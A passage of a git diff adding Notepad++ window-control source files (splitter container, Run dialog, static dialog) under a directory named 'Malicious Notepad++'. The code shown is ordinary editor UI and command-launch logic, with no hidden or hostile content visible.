nullptr); + assert(_pWin1 != nullptr); + _pWin0->display(toShow); + _pWin1->display(toShow); + + _splitter.display(toShow); +} + + +void SplitterContainer::redraw(bool forceUpdate) const +{ + assert(_pWin0 != nullptr); + assert(_pWin1 != nullptr); + _pWin0->redraw(forceUpdate); + _pWin1->redraw(forceUpdate); +} + + +void SplitterContainer::rotateTo(DIRECTION direction) +{ + bool doSwitchWindow = false; + if (_dwSplitterStyle & SV_VERTICAL) + { + _dwSplitterStyle ^= SV_VERTICAL; + _dwSplitterStyle |= SV_HORIZONTAL; + doSwitchWindow = (direction == DIRECTION::LEFT); + } + else + { + _dwSplitterStyle ^= SV_HORIZONTAL; + _dwSplitterStyle |= SV_VERTICAL; + doSwitchWindow = (direction == DIRECTION::RIGHT); + } + if (doSwitchWindow) + { + Window *tmp = _pWin0; + _pWin0 = _pWin1; + _pWin1 = tmp; + } + _splitter.rotate(); + +} + +LRESULT CALLBACK SplitterContainer::staticWinProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) +{ + SplitterContainer *pSplitterContainer = NULL; + switch (message) + { + case WM_NCCREATE: + { + pSplitterContainer = reinterpret_cast(reinterpret_cast(lParam)->lpCreateParams); + pSplitterContainer->_hSelf = hwnd; + ::SetWindowLongPtr(hwnd, GWLP_USERDATA, reinterpret_cast(pSplitterContainer)); + return TRUE; + } + + default: + { + pSplitterContainer = (SplitterContainer *)::GetWindowLongPtr(hwnd, GWLP_USERDATA); + if (!pSplitterContainer) + return ::DefWindowProc(hwnd, message, wParam, lParam); + return pSplitterContainer->runProc(message, wParam, lParam); + } + } +} + + +LRESULT SplitterContainer::runProc(UINT message, WPARAM wParam, LPARAM lParam) +{ + switch (message) + { + case WM_CREATE: + { + _splitter.init(_hInst, _hSelf, _splitterSize, _ratio, _dwSplitterStyle); + return TRUE; + } + + case WM_COMMAND: + { + switch (LOWORD(wParam)) + { + case ROTATION_A_GAUCHE: + { + rotateTo(DIRECTION::LEFT); + break; + } + case ROTATION_A_DROITE: + { + rotateTo(DIRECTION::RIGHT); + break; + } + } + return TRUE; + } + + case WM_RESIZE_CONTAINER: + { + RECT rc0, rc1; + getClientRect(rc0); + + rc1.top = rc0.top += _y; + rc1.bottom = rc0.bottom; + rc1.left = rc0.left += _x; + rc1.right = rc0.right; + + if (_dwSplitterStyle & SV_VERTICAL) + { + if (wParam != 0) + { + rc0.right = int(wParam); + + rc1.left = int(wParam) + _x + _splitter.getPhisicalSize(); + rc1.right = rc1.right - rc1.left + _x; + } + } + else //SV_HORIZONTAL + { + if (lParam != 0) + { + rc0.bottom = int(lParam); + + rc1.top = int(lParam) + _y + _splitter.getPhisicalSize(); + rc1.bottom = rc1.bottom - rc1.top + _y; + } + } + _pWin0->reSizeTo(rc0); + _pWin1->reSizeTo(rc1); + + ::InvalidateRect(_splitter.getHSelf(), NULL, TRUE); + return TRUE; + } + + case WM_DOPOPUPMENU: + { + if ((_splitterMode != SplitterMode::LEFT_FIX) && (_splitterMode != SplitterMode::RIGHT_FIX) ) + { + POINT p; + ::GetCursorPos(&p); + + if (!_hPopupMenu) + { + _hPopupMenu = ::CreatePopupMenu(); + ::InsertMenu(_hPopupMenu, 1, MF_BYPOSITION, ROTATION_A_GAUCHE, TEXT("Rotate to left")); + ::InsertMenu(_hPopupMenu, 0, MF_BYPOSITION, ROTATION_A_DROITE, TEXT("Rotate to right")); + } + + ::TrackPopupMenu(_hPopupMenu, TPM_LEFTALIGN, p.x, p.y, 0, _hSelf, NULL); + } + return TRUE; + } + + case WM_GETSPLITTER_X: + { + switch (_splitterMode) + { + case SplitterMode::LEFT_FIX: + { + return MAKELONG(_pWin0->getWidth(), static_cast(SplitterMode::LEFT_FIX)); + } + + case SplitterMode::RIGHT_FIX: + { + int x = getWidth()-_pWin1->getWidth(); + if (x < 0) + x = 0; + return MAKELONG(x, static_cast(SplitterMode::RIGHT_FIX)); + } + default: + break; + } + return MAKELONG(0, static_cast(SplitterMode::DYNAMIC)); + } + + case WM_GETSPLITTER_Y: + { + switch (_splitterMode) + { + case SplitterMode::LEFT_FIX: + { + return MAKELONG(_pWin0->getHeight(), static_cast(SplitterMode::LEFT_FIX)); + } + case SplitterMode::RIGHT_FIX: + { + int y = getHeight()-_pWin1->getHeight(); + if (y < 0) + y = 0; + return MAKELONG(y, static_cast(SplitterMode::RIGHT_FIX)); + } + default: + break; + } + return MAKELONG(0, static_cast(SplitterMode::DYNAMIC)); + } + + case WM_LBUTTONDBLCLK: + { + POINT pt; + ::GetCursorPos(&pt); + ::ScreenToClient(_splitter.getHSelf(), &pt); + + HWND parent = ::GetParent(getHSelf()); + + Window* targetWindow = (this->isVertical()) + ? (pt.x < 0 ? _pWin0 : _pWin1) + : (pt.y < 0 ? _pWin0 : _pWin1); + + ::SendMessage(parent, NPPM_INTERNAL_SWITCHVIEWFROMHWND, 0, reinterpret_cast(targetWindow->getHSelf())); + ::SendMessage(parent, WM_COMMAND, IDM_FILE_NEW, 0); + return TRUE; + } + + default: + return ::DefWindowProc(_hSelf, message, wParam, lParam); + } +} diff --git a/Malicious Notepad++/src/WinControls/SplitterContainer/SplitterContainer.h b/Malicious Notepad++/src/WinControls/SplitterContainer/SplitterContainer.h new file mode 100644 index 0000000..7a9bd0f --- /dev/null +++ b/Malicious Notepad++/src/WinControls/SplitterContainer/SplitterContainer.h @@ -0,0 +1,97 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. +#pragma once +#include "Splitter.h" +#include "menuCmdID.h" + + +#define SPC_CLASS_NAME TEXT("splitterContainer") + +#define ROTATION_A_GAUCHE 2000 +#define ROTATION_A_DROITE 2001 + + +enum class DIRECTION +{ + RIGHT, + LEFT +}; + + + + +class SplitterContainer : public Window +{ +public : + virtual ~SplitterContainer() = default; + + void create(Window *pWin0, Window *pWin1, int splitterSize = 4, + SplitterMode mode = SplitterMode::DYNAMIC, int ratio = 50, bool _isVertical = true); + + void destroy(); + + void reSizeTo(RECT & rc); + + virtual void display(bool toShow = true) const; + + virtual void redraw(bool forceUpdate = false) const; + + void setWin0(Window* pWin) + { + _pWin0 = pWin; + } + + void setWin1(Window* pWin) + { + _pWin1 = pWin; + } + + bool isVertical() const + { + return ((_dwSplitterStyle & SV_VERTICAL) != 0); + } + + +private : + Window* _pWin0 = nullptr; // left or top window + Window* _pWin1 = nullptr; // right or bottom window + + Splitter _splitter; + int _splitterSize = 0; + int _ratio = 0; + int _x = 0; + int _y = 0; + HMENU _hPopupMenu = NULL; + DWORD _dwSplitterStyle = (SV_ENABLERDBLCLK | SV_ENABLELDBLCLK | SV_RESIZEWTHPERCNT); + + SplitterMode _splitterMode = SplitterMode::DYNAMIC; + static bool _isRegistered; + + static LRESULT CALLBACK staticWinProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam); + LRESULT runProc(UINT Message, WPARAM wParam, LPARAM lParam); + void rotateTo(DIRECTION direction); +}; diff --git a/Malicious Notepad++/src/WinControls/StaticDialog/RunDlg/RunDlg.cpp b/Malicious Notepad++/src/WinControls/StaticDialog/RunDlg/RunDlg.cpp new file mode 100644 index 0000000..f445d4b --- /dev/null +++ b/Malicious Notepad++/src/WinControls/StaticDialog/RunDlg/RunDlg.cpp @@ -0,0 +1,356 @@ +//this file is part of notepad++ +//Copyright (C)2003 Don HO ( donho@altern.org ) +// +//This program is free software; you can redistribute it and/or +//modify it under the terms of the GNU General Public License +//as published by the Free Software Foundation; either +//version 2 of the License, or (at your option) any later version. +// +//This program is distributed in the hope that it will be useful, +//but WITHOUT ANY WARRANTY; without even the implied warranty of +//MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +//GNU General Public License for more details. +// +//You should have received a copy of the GNU General Public License +//along with this program; if not, write to the Free Software +//Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#include "StaticDialog.h" +#include "RunDlg.h" +#include "FileDialog.h" +#include "Notepad_plus_msgs.h" +#include "shortcut.h" +#include "Parameters.h" +#include "Notepad_plus.h" + + +void Command::extractArgs(TCHAR *cmd2Exec, TCHAR *args, const TCHAR *cmdEntier) +{ + size_t i = 0; + bool quoted = false; + for (size_t len = lstrlen(cmdEntier); i < len ; ++i) + { + if ((cmdEntier[i] == ' ') && (!quoted)) + break; + if (cmdEntier[i]=='"') + quoted = !quoted; + + cmd2Exec[i] = cmdEntier[i]; + } + cmd2Exec[i] = '\0'; + + if (i < size_t(lstrlen(cmdEntier))) + { + for (size_t len = size_t(lstrlen(cmdEntier)); (i < len) && (cmdEntier[i] == ' ') ; ++i); + if (i < size_t(lstrlen(cmdEntier))) + { + for (size_t k = 0, len2 = size_t(lstrlen(cmdEntier)); i <= len2; ++i, ++k) + { + args[k] = cmdEntier[i]; + } + } + + int l = lstrlen(args); + if (args[l-1] == ' ') + { + for (l -= 2 ; (l > 0) && (args[l] == ' ') ; l--); + args[l+1] = '\0'; + } + + } + else + args[0] = '\0'; +} + + +int whichVar(TCHAR *str) +{ + if (!lstrcmp(fullCurrentPath, str)) + return FULL_CURRENT_PATH; + else if (!lstrcmp(currentDirectory, str)) + return CURRENT_DIRECTORY; + else if (!lstrcmp(onlyFileName, str)) + return FILE_NAME; + else if (!lstrcmp(fileNamePart, str)) + return NAME_PART; + else if (!lstrcmp(fileExtPart, str)) + return EXT_PART; + else if (!lstrcmp(currentWord, str)) + return CURRENT_WORD; + else if (!lstrcmp(nppDir, str)) + return NPP_DIRECTORY; + else if (!lstrcmp(nppFullFilePath, str)) + return NPP_FULL_FILE_PATH; + else if (!lstrcmp(currentLine, str)) + return CURRENT_LINE; + else if (!lstrcmp(currentColumn, str)) + return CURRENT_COLUMN; + + return VAR_NOT_RECOGNIZED; +} + +// Since I'm sure the length will be 256, I won't check the lstrlen : watch out! +void expandNppEnvironmentStrs(const TCHAR *strSrc, TCHAR *stringDest, size_t strDestLen, HWND hWnd) +{ + size_t j = 0; + for (int i = 0, len = lstrlen(strSrc); i < len; ++i) + { + int iBegin = -1; + int iEnd = -1; + if ((strSrc[i] == '$') && (strSrc[i+1] == '(')) + { + iBegin = i += 2; + for (size_t len2 = size_t(lstrlen(strSrc)); size_t(i) < len2 ; ++i) + { + if (strSrc[i] == ')') + { + iEnd = i - 1; + break; + } + } + } + if (iBegin != -1) + { + if (iEnd != -1) + { + TCHAR str[MAX_PATH]; + int m = 0; + for (int k = iBegin ; k <= iEnd ; ++k) + str[m++] = strSrc[k]; + str[m] = '\0'; + + int internalVar = whichVar(str); + if (internalVar == VAR_NOT_RECOGNIZED) + { + i = iBegin - 2; + if (j < (strDestLen-1)) + stringDest[j++] = strSrc[i]; + else + break; + } + else + { + TCHAR expandedStr[CURRENTWORD_MAXLENGTH]; + if (internalVar == CURRENT_LINE || internalVar == CURRENT_COLUMN) + { + auto lineNumber = ::SendMessage(hWnd, RUNCOMMAND_USER + internalVar, 0, 0); + wsprintf(expandedStr, TEXT("%d"), lineNumber); + } + else + ::SendMessage(hWnd, RUNCOMMAND_USER + internalVar, CURRENTWORD_MAXLENGTH, reinterpret_cast(expandedStr)); + + for (size_t p = 0, len3 = size_t(lstrlen(expandedStr)); p < len3; ++p) + { + if (j < (strDestLen-1)) + stringDest[j++] = expandedStr[p]; + else + break; + } + } + } + else + { + i = iBegin - 2; + if (j < (strDestLen-1)) + stringDest[j++] = strSrc[i]; + else + break; + } + } + else + if (j < (strDestLen-1)) + stringDest[j++] = strSrc[i]; + else + break; + } + stringDest[j] = '\0'; +} + +HINSTANCE Command::run(HWND hWnd) +{ + const int argsIntermediateLen = MAX_PATH*2; + const int args2ExecLen = CURRENTWORD_MAXLENGTH+MAX_PATH*2; + + TCHAR cmdPure[MAX_PATH]; + TCHAR cmdIntermediate[MAX_PATH]; + TCHAR cmd2Exec[MAX_PATH]; + TCHAR args[MAX_PATH]; + TCHAR argsIntermediate[argsIntermediateLen]; + TCHAR args2Exec[args2ExecLen]; + + extractArgs(cmdPure, args, _cmdLine.c_str()); + int nbTchar = ::ExpandEnvironmentStrings(cmdPure, cmdIntermediate, MAX_PATH); + if (!nbTchar) + lstrcpy(cmdIntermediate, cmdPure); + else if (nbTchar >= MAX_PATH) + cmdIntermediate[MAX_PATH-1] = '\0'; + + nbTchar = ::ExpandEnvironmentStrings(args, argsIntermediate, argsIntermediateLen); + if (!nbTchar) + lstrcpy(argsIntermediate, args); + else if (nbTchar >= argsIntermediateLen) + argsIntermediate[argsIntermediateLen-1] = '\0'; + + expandNppEnvironmentStrs(cmdIntermediate, cmd2Exec, MAX_PATH, hWnd); + expandNppEnvironmentStrs(argsIntermediate, args2Exec, args2ExecLen, hWnd); + + HINSTANCE res = ::ShellExecute(hWnd, TEXT("open"), cmd2Exec, args2Exec, TEXT("."), SW_SHOW); + + // As per MSDN (https://msdn.microsoft.com/en-us/library/windows/desktop/bb762153(v=vs.85).aspx) + // If the function succeeds, it returns a value greater than 32. + // If the function fails, it returns an error value that indicates the cause of the failure. + int retResult = reinterpret_cast(res); + if (retResult <= 32) + { + generic_string errorMsg; + errorMsg += GetLastErrorAsString(retResult); + errorMsg += TEXT("An attempt was made to execute the below command."); + errorMsg += TEXT("\n----------------------------------------------------------"); + errorMsg += TEXT("\nCommand: "); + errorMsg += cmd2Exec; + errorMsg += TEXT("\nArguments: "); + errorMsg += args2Exec; + errorMsg += TEXT("\nError Code: "); + errorMsg += intToString(retResult); + errorMsg += TEXT("\n----------------------------------------------------------"); + + ::MessageBox(hWnd, errorMsg.c_str(), TEXT("ShellExecute - ERROR"), MB_ICONINFORMATION | MB_APPLMODAL); + } + + return res; +} + +INT_PTR CALLBACK RunDlg::run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam) +{ + switch (message) + { + case NPPM_INTERNAL_FINDKEYCONFLICTS: + { + return ::SendMessage(_hParent, message, wParam, lParam); + } + + case WM_COMMAND : + { + switch (wParam) + { + case IDCANCEL : + display(false); + return TRUE; + + case IDOK : + { + TCHAR cmd[MAX_PATH]; + ::GetDlgItemText(_hSelf, IDC_COMBO_RUN_PATH, cmd, MAX_PATH); + _cmdLine = cmd; + + HINSTANCE hInst = run(_hParent); + if (int(hInst) > 32) + { + addTextToCombo(_cmdLine.c_str()); + display(false); + } + else + { + removeTextFromCombo(_cmdLine.c_str()); + } + return TRUE; + } + + case IDC_BUTTON_SAVE : + { + std::vector & theUserCmds = (NppParameters::getInstance())->getUserCommandList(); + + int nbCmd = static_cast(theUserCmds.size()); + + int cmdID = ID_USER_CMD + nbCmd; + TCHAR cmd[MAX_PATH]; + ::GetDlgItemText(_hSelf, IDC_COMBO_RUN_PATH, cmd, MAX_PATH); + UserCommand uc(Shortcut(), cmd, cmdID); + uc.init(_hInst, _hSelf); + + if (uc.doDialog() != -1) + { + HMENU mainMenu = reinterpret_cast(::SendMessage(_hParent, NPPM_INTERNAL_GETMENU, 0, 0)); + HMENU hRunMenu = ::GetSubMenu(mainMenu, MENUINDEX_RUN); + int const posBase = 2; + + if (nbCmd == 0) + ::InsertMenu(hRunMenu, posBase - 1, MF_BYPOSITION, static_cast(-1), 0); + + theUserCmds.push_back(uc); + ::InsertMenu(hRunMenu, posBase + nbCmd, MF_BYPOSITION, cmdID, uc.toMenuItemString().c_str()); + + NppParameters* nppParams = NppParameters::getInstance(); + if (nbCmd == 0) + { + // Insert the separator and modify/delete command + ::InsertMenu(hRunMenu, posBase + nbCmd + 1, MF_BYPOSITION, static_cast(-1), 0); + NativeLangSpeaker *pNativeLangSpeaker = nppParams->getNativeLangSpeaker(); + generic_string nativeLangShortcutMapperMacro = pNativeLangSpeaker->getNativeLangMenuString(IDM_SETTING_SHORTCUT_MAPPER_MACRO); + if (nativeLangShortcutMapperMacro == TEXT("")) + nativeLangShortcutMapperMacro = TEXT("Modify Shortcut/Delete Command..."); + + ::InsertMenu(hRunMenu, posBase + nbCmd + 2, MF_BYCOMMAND, IDM_SETTING_SHORTCUT_MAPPER_RUN, nativeLangShortcutMapperMacro.c_str()); + } + nppParams->getAccelerator()->updateShortcuts(); + nppParams->setShortcutDirty(); + } + return TRUE; + } + + case IDC_BUTTON_FILE_BROWSER : + { + FileDialog fd(_hSelf, _hInst); + fd.setExtFilter(TEXT("Executable file : "), TEXT(".exe"), TEXT(".com"), TEXT(".cmd"), TEXT(".bat"), NULL); + fd.setExtFilter(TEXT("All files : "), TEXT(".*"), NULL); + + if (const TCHAR *fn = fd.doOpenSingleFileDlg()) + { + if(wcschr(fn, ' ') != NULL) + { + generic_string fn_quotes(fn); + fn_quotes = TEXT("\"") + fn_quotes + TEXT("\""); + addTextToCombo(fn_quotes.c_str()); + } + else + { + addTextToCombo(fn); + } + } + return TRUE; + } + + default : + break; + } + } + } + return FALSE; +} + +void RunDlg::addTextToCombo(const TCHAR *txt2Add) const +{ + HWND handle = ::GetDlgItem(_hSelf, IDC_COMBO_RUN_PATH); + auto i = ::SendMessage(handle, CB_FINDSTRINGEXACT, static_cast(-1), reinterpret_cast(txt2Add)); + if (i == CB_ERR) + i = ::SendMessage(handle, CB_ADDSTRING, 0, reinterpret_cast(txt2Add)); + ::SendMessage(handle, CB_SETCURSEL, i, 0); +} +void RunDlg::removeTextFromCombo(const TCHAR *txt2Remove) const +{ + HWND handle = ::GetDlgItem(_hSelf, IDC_COMBO_RUN_PATH); + auto i = ::SendMessage(handle, CB_FINDSTRINGEXACT, static_cast(-1), reinterpret_cast(txt2Remove)); + if (i == CB_ERR) + return; + ::SendMessage(handle, CB_DELETESTRING, i, 0); +} + +void RunDlg::doDialog(bool isRTL) +{ + if (!isCreated()) + create(IDD_RUN_DLG, isRTL); + + // Adjust the position in the center + goToCenter(); + ::SetFocus(::GetDlgItem(_hSelf, IDC_COMBO_RUN_PATH)); +}; diff --git a/Malicious Notepad++/src/WinControls/StaticDialog/RunDlg/RunDlg.h b/Malicious Notepad++/src/WinControls/StaticDialog/RunDlg/RunDlg.h new file mode 100644 index 0000000..67611ee --- /dev/null +++ b/Malicious Notepad++/src/WinControls/StaticDialog/RunDlg/RunDlg.h @@ -0,0 +1,68 @@ +//this file is part of notepad++ +//Copyright (C)2003 Don HO ( donho@altern.org ) +// +//This program is free software; you can redistribute it and/or +//modify it under the terms of the GNU General Public License +//as published by the Free Software Foundation; either +//version 2 of the License, or (at your option) any later version. +// +//This program is distributed in the hope that it will be useful, +//but WITHOUT ANY WARRANTY; without even the implied warranty of +//MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +//GNU General Public License for more details. +// +//You should have received a copy of the GNU General Public License +//along with this program; if not, write to the Free Software +//Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#pragma once + +#include +#include "Common.h" +#include "RunDlg_rc.h" + +#define CURRENTWORD_MAXLENGTH 2048 + +const TCHAR fullCurrentPath[] = TEXT("FULL_CURRENT_PATH"); +const TCHAR currentDirectory[] = TEXT("CURRENT_DIRECTORY"); +const TCHAR onlyFileName[] = TEXT("FILE_NAME"); +const TCHAR fileNamePart[] = TEXT("NAME_PART"); +const TCHAR fileExtPart[] = TEXT("EXT_PART"); +const TCHAR currentWord[] = TEXT("CURRENT_WORD"); +const TCHAR nppDir[] = TEXT("NPP_DIRECTORY"); +const TCHAR nppFullFilePath[] = TEXT("NPP_FULL_FILE_PATH"); +const TCHAR currentLine[] = TEXT("CURRENT_LINE"); +const TCHAR currentColumn[] = TEXT("CURRENT_COLUMN"); + +int whichVar(TCHAR *str); +void expandNppEnvironmentStrs(const TCHAR *strSrc, TCHAR *stringDest, size_t strDestLen, HWND hWnd); + +class Command { +public : + Command(){}; + explicit Command(TCHAR *cmd) : _cmdLine(cmd){}; + explicit Command(generic_string cmd) : _cmdLine(cmd){}; + HINSTANCE run(HWND hWnd); + +protected : + generic_string _cmdLine; +private : + void extractArgs(TCHAR *cmd2Exec, TCHAR *args, const TCHAR *cmdEntier); +}; + +class RunDlg : public Command, public StaticDialog +{ +public : + RunDlg() : StaticDialog() {}; + + void doDialog(bool isRTL = false); + virtual void destroy() {}; + +protected : + virtual INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); + +private : + void addTextToCombo(const TCHAR *txt2Add) const; + void removeTextFromCombo(const TCHAR *txt2Remove) const; +}; + diff --git a/Malicious Notepad++/src/WinControls/StaticDialog/RunDlg/RunDlg.rc b/Malicious Notepad++/src/WinControls/StaticDialog/RunDlg/RunDlg.rc new file mode 100644 index 0000000..81c63a4 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/StaticDialog/RunDlg/RunDlg.rc @@ -0,0 +1,43 @@ +/* +this file is part of notepad++ +Copyright (C)2003 Don HO < donho@altern.org > + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +as published by the Free Software Foundation; either +version 2 of the License, or (at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. +*/ + + +#include +#include "RunDlg_rc.h" + +#ifndef IDC_STATIC +#define IDC_STATIC -1 +#endif + +IDD_RUN_DLG DIALOGEX 0, 0, 196, 100 +STYLE DS_SETFONT | DS_MODALFRAME | DS_FIXEDSYS | WS_POPUP | WS_CAPTION | + WS_SYSMENU +EXSTYLE WS_EX_TOOLWINDOW +CAPTION "Run..." +FONT 8, TEXT("MS Shell Dlg"), 400, 0, 0x1 +BEGIN + DEFPUSHBUTTON "Run",IDOK,16,74,47,14 + PUSHBUTTON "Cancel",IDCANCEL, 121,74,48,14 + PUSHBUTTON "...",IDC_BUTTON_FILE_BROWSER,154,30,16,14 + COMBOBOX IDC_COMBO_RUN_PATH,14,31,136,71,CBS_DROPDOWN | + CBS_AUTOHSCROLL | CBS_SORT | WS_VSCROLL | WS_TABSTOP + GROUPBOX "The Program to Run",IDC_MAINTEXT_STATIC,7,10, + 172,49,BS_CENTER + PUSHBUTTON "Save...",IDC_BUTTON_SAVE,68,74,50,14 +END diff --git a/Malicious Notepad++/src/WinControls/StaticDialog/RunDlg/RunDlg_rc.h b/Malicious Notepad++/src/WinControls/StaticDialog/RunDlg/RunDlg_rc.h new file mode 100644 index 0000000..4a529c4 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/StaticDialog/RunDlg/RunDlg_rc.h @@ -0,0 +1,25 @@ +//this file is part of notepad++ +//Copyright (C)2003 Don HO ( donho@altern.org ) +// +//This program is free software; you can redistribute it and/or +//modify it under the terms of the GNU General Public License +//as published by the Free Software Foundation; either +//version 2 of the License, or (at your option) any later version. +// +//This program is distributed in the hope that it will be useful, +//but WITHOUT ANY WARRANTY; without even the implied warranty of +//MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +//GNU General Public License for more details. +// +//You should have received a copy of the GNU General Public License +//along with this program; if not, write to the Free Software +//Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#pragma once + +#define IDD_RUN_DLG 1900 +#define IDC_BUTTON_FILE_BROWSER (IDD_RUN_DLG + 1) +#define IDC_COMBO_RUN_PATH (IDD_RUN_DLG + 2) +#define IDC_MAINTEXT_STATIC (IDD_RUN_DLG + 3) +#define IDC_BUTTON_SAVE (IDD_RUN_DLG + 4) + diff --git a/Malicious Notepad++/src/WinControls/StaticDialog/StaticDialog.cpp b/Malicious Notepad++/src/WinControls/StaticDialog/StaticDialog.cpp new file mode 100644 index 0000000..ec88920 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/StaticDialog/StaticDialog.cpp @@ -0,0 +1,228 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#include +#include +#include "StaticDialog.h" +#include "Common.h" + +StaticDialog::~StaticDialog() +{ + if (isCreated()) + { + // Prevent run_dlgProc from doing anything, since its virtual + ::SetWindowLongPtr(_hSelf, GWLP_USERDATA, NULL); + destroy(); + } +} + +void StaticDialog::destroy() +{ + ::SendMessage(_hParent, NPPM_MODELESSDIALOG, MODELESSDIALOGREMOVE, reinterpret_cast(_hSelf)); + ::DestroyWindow(_hSelf); +} + +POINT StaticDialog::getTopPoint(HWND hwnd, bool isLeft) const +{ + RECT rc; + ::GetWindowRect(hwnd, &rc); + + POINT p; + if (isLeft) + p.x = rc.left; + else + p.x = rc.right; + + p.y = rc.top; + ::ScreenToClient(_hSelf, &p); + return p; +} + +void StaticDialog::goToCenter() +{ + RECT rc; + ::GetClientRect(_hParent, &rc); + POINT center; + center.x = rc.left + (rc.right - rc.left)/2; + center.y = rc.top + (rc.bottom - rc.top)/2; + ::ClientToScreen(_hParent, ¢er); + + int x = center.x - (_rc.right - _rc.left)/2; + int y = center.y - (_rc.bottom - _rc.top)/2; + + ::SetWindowPos(_hSelf, HWND_TOP, x, y, _rc.right - _rc.left, _rc.bottom - _rc.top, SWP_SHOWWINDOW); +} + +void StaticDialog::display(bool toShow) const +{ + if (toShow) + { + // If the user has switched from a dual monitor to a single monitor since we last + // displayed the dialog, then ensure that it's still visible on the single monitor. + RECT workAreaRect = {0}; + RECT rc = {0}; + ::SystemParametersInfo(SPI_GETWORKAREA, 0, &workAreaRect, 0); + ::GetWindowRect(_hSelf, &rc); + int newLeft = rc.left; + int newTop = rc.top; + int margin = ::GetSystemMetrics(SM_CYSMCAPTION); + + if (newLeft > ::GetSystemMetrics(SM_CXVIRTUALSCREEN)-margin) + newLeft -= rc.right - workAreaRect.right; + if (newLeft + (rc.right - rc.left) < ::GetSystemMetrics(SM_XVIRTUALSCREEN)+margin) + newLeft = workAreaRect.left; + if (newTop > ::GetSystemMetrics(SM_CYVIRTUALSCREEN)-margin) + newTop -= rc.bottom - workAreaRect.bottom; + if (newTop + (rc.bottom - rc.top) < ::GetSystemMetrics(SM_YVIRTUALSCREEN)+margin) + newTop = workAreaRect.top; + + if ((newLeft != rc.left) || (newTop != rc.top)) // then the virtual screen size has shrunk + // Remember that MoveWindow wants width/height. + ::MoveWindow(_hSelf, newLeft, newTop, rc.right - rc.left, rc.bottom - rc.top, TRUE); + } + + Window::display(toShow); +} + +HGLOBAL StaticDialog::makeRTLResource(int dialogID, DLGTEMPLATE **ppMyDlgTemplate) +{ + // Get Dlg Template resource + HRSRC hDialogRC = ::FindResource(_hInst, MAKEINTRESOURCE(dialogID), RT_DIALOG); + if (!hDialogRC) + return NULL; + + HGLOBAL hDlgTemplate = ::LoadResource(_hInst, hDialogRC); + if (!hDlgTemplate) + return NULL; + + DLGTEMPLATE *pDlgTemplate = static_cast(::LockResource(hDlgTemplate)); + if (!pDlgTemplate) + return NULL; + + // Duplicate Dlg Template resource + unsigned long sizeDlg = ::SizeofResource(_hInst, hDialogRC); + HGLOBAL hMyDlgTemplate = ::GlobalAlloc(GPTR, sizeDlg); + *ppMyDlgTemplate = static_cast(::GlobalLock(hMyDlgTemplate)); + + ::memcpy(*ppMyDlgTemplate, pDlgTemplate, sizeDlg); + + DLGTEMPLATEEX *pMyDlgTemplateEx = reinterpret_cast(*ppMyDlgTemplate); + if (pMyDlgTemplateEx->signature == 0xFFFF) + pMyDlgTemplateEx->exStyle |= WS_EX_LAYOUTRTL; + else + (*ppMyDlgTemplate)->dwExtendedStyle |= WS_EX_LAYOUTRTL; + + return hMyDlgTemplate; +} + +void StaticDialog::create(int dialogID, bool isRTL, bool msgDestParent) +{ + if (isRTL) + { + DLGTEMPLATE *pMyDlgTemplate = NULL; + HGLOBAL hMyDlgTemplate = makeRTLResource(dialogID, &pMyDlgTemplate); + _hSelf = ::CreateDialogIndirectParam(_hInst, pMyDlgTemplate, _hParent, dlgProc, reinterpret_cast(this)); + ::GlobalFree(hMyDlgTemplate); + } + else + _hSelf = ::CreateDialogParam(_hInst, MAKEINTRESOURCE(dialogID), _hParent, dlgProc, reinterpret_cast(this)); + + if (!_hSelf) + { + generic_string errMsg = TEXT("CreateDialogParam() return NULL.\rGetLastError(): "); + errMsg += GetLastErrorAsString(); + ::MessageBox(NULL, errMsg.c_str(), 